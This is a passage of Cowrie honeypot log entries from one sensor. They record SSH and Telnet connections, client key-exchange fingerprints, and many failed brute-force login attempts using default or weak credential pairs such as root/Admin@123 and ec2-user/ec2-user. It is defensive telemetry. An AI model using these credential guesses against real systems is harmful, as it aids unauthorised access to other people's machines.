xt-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:00.170604Z","src_ip":"122.166.167.154","session":"8fd85d74c312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:00.706515Z","src_ip":"176.65.132.129","session":"5961442222f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.87511897087097,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:00.951645Z","src_ip":"152.42.224.71","session":"7e6a5cbb9e24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveur","message":"login attempt [root/serveur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:01.160262Z","src_ip":"122.166.167.154","session":"8fd85d74c312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48454,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b1bc5c26128","protocol":"telnet","message":"New connection: 152.42.224.71:48454 (10.17.0.5:23) [session: 5b1bc5c26128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:01.337945Z"}
{"eventid":"cowrie.session.closed","duration":31.457725286483765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:01.598498Z","src_ip":"152.42.224.71","session":"6d1cf4b420d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:02.405308Z","src_ip":"122.166.167.154","session":"8fd85d74c312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0987cdd672f","protocol":"ssh","message":"New connection: 176.65.132.129:47864 (159.203.135.109:22) [session: b0987cdd672f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:02.464580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:02.470574Z","src_ip":"176.65.132.129","session":"b0987cdd672f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:02.553970Z","src_ip":"176.65.132.129","session":"b0987cdd672f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:02.803368Z","src_ip":"176.65.132.129","session":"b0987cdd672f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:03.894419Z","src_ip":"176.65.132.129","session":"b0987cdd672f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89f9fb481f6","protocol":"telnet","message":"New connection: 152.42.224.71:48466 (10.17.0.5:23) [session: f89f9fb481f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:04.022403Z"}
{"eventid":"cowrie.session.closed","duration":105.78447437286377,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:04.314611Z","src_ip":"152.42.224.71","session":"78968442efab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48478,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfbe41f504a9","protocol":"telnet","message":"New connection: 152.42.224.71:48478 (10.17.0.5:23) [session: cfbe41f504a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:05.719710Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"be3d6e15dc4b","protocol":"ssh","message":"New connection: 176.65.132.129:45822 (159.203.135.109:22) [session: be3d6e15dc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:05.794236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:05.800467Z","src_ip":"176.65.132.129","session":"be3d6e15dc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:05.890851Z","src_ip":"176.65.132.129","session":"be3d6e15dc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:06.250386Z","src_ip":"176.65.132.129","session":"be3d6e15dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:07.335352Z","src_ip":"176.65.132.129","session":"be3d6e15dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.03900647163391,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:09.011734Z","src_ip":"152.42.224.71","session":"c5136056f12c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45834,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a107ccb7737","protocol":"ssh","message":"New connection: 176.65.132.129:45834 (159.203.135.109:22) [session: 5a107ccb7737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:09.238404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:09.244258Z","src_ip":"176.65.132.129","session":"5a107ccb7737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:09.327070Z","src_ip":"176.65.132.129","session":"5a107ccb7737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:09.574894Z","src_ip":"176.65.132.129","session":"5a107ccb7737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:10.660904Z","src_ip":"176.65.132.129","session":"5a107ccb7737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40344,"dst_ip":"10.17.0.5","dst_port":23,"session":"097dedd458b1","protocol":"telnet","message":"New connection: 152.42.224.71:40344 (10.17.0.5:23) [session: 097dedd458b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:12.160757Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45836,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10566bded22","protocol":"ssh","message":"New connection: 176.65.132.129:45836 (159.203.135.109:22) [session: e10566bded22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:12.503193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:12.508509Z","src_ip":"176.65.132.129","session":"e10566bded22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:12.595943Z","src_ip":"176.65.132.129","session":"e10566bded22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:12.852228Z","src_ip":"176.65.132.129","session":"e10566bded22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:13.988099Z","src_ip":"176.65.132.129","session":"e10566bded22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0027871131897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:15.088804Z","src_ip":"152.42.224.71","session":"709954e90ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45844,"dst_ip":"159.203.135.109","dst_port":22,"session":"677b051e8110","protocol":"ssh","message":"New connection: 176.65.132.129:45844 (159.203.135.109:22) [session: 677b051e8110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:15.662153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:15.667827Z","src_ip":"176.65.132.129","session":"677b051e8110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:15.752977Z","src_ip":"176.65.132.129","session":"677b051e8110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:16.004183Z","src_ip":"176.65.132.129","session":"677b051e8110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.048994064331055,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:16.069740Z","src_ip":"152.42.224.71","session":"f89f9fb481f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:17.106555Z","src_ip":"176.65.132.129","session":"677b051e8110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50290,"dst_ip":"159.203.135.109","dst_port":22,"session":"558a7a604d65","protocol":"ssh","message":"New connection: 176.65.132.129:50290 (159.203.135.109:22) [session: 558a7a604d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:19.021923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:19.027150Z","src_ip":"176.65.132.129","session":"558a7a604d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:19.109909Z","src_ip":"176.65.132.129","session":"558a7a604d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.86329913139343,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:19.127321Z","src_ip":"152.42.224.71","session":"57dc927e92a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:19.533818Z","src_ip":"176.65.132.129","session":"558a7a604d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:20.618608Z","src_ip":"176.65.132.129","session":"558a7a604d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50302,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6602403b60","protocol":"ssh","message":"New connection: 176.65.132.129:50302 (159.203.135.109:22) [session: fc6602403b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:22.480507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:22.489424Z","src_ip":"176.65.132.129","session":"fc6602403b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:22.572251Z","src_ip":"176.65.132.129","session":"fc6602403b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:22.818872Z","src_ip":"176.65.132.129","session":"fc6602403b60","protocol":"ssh"}
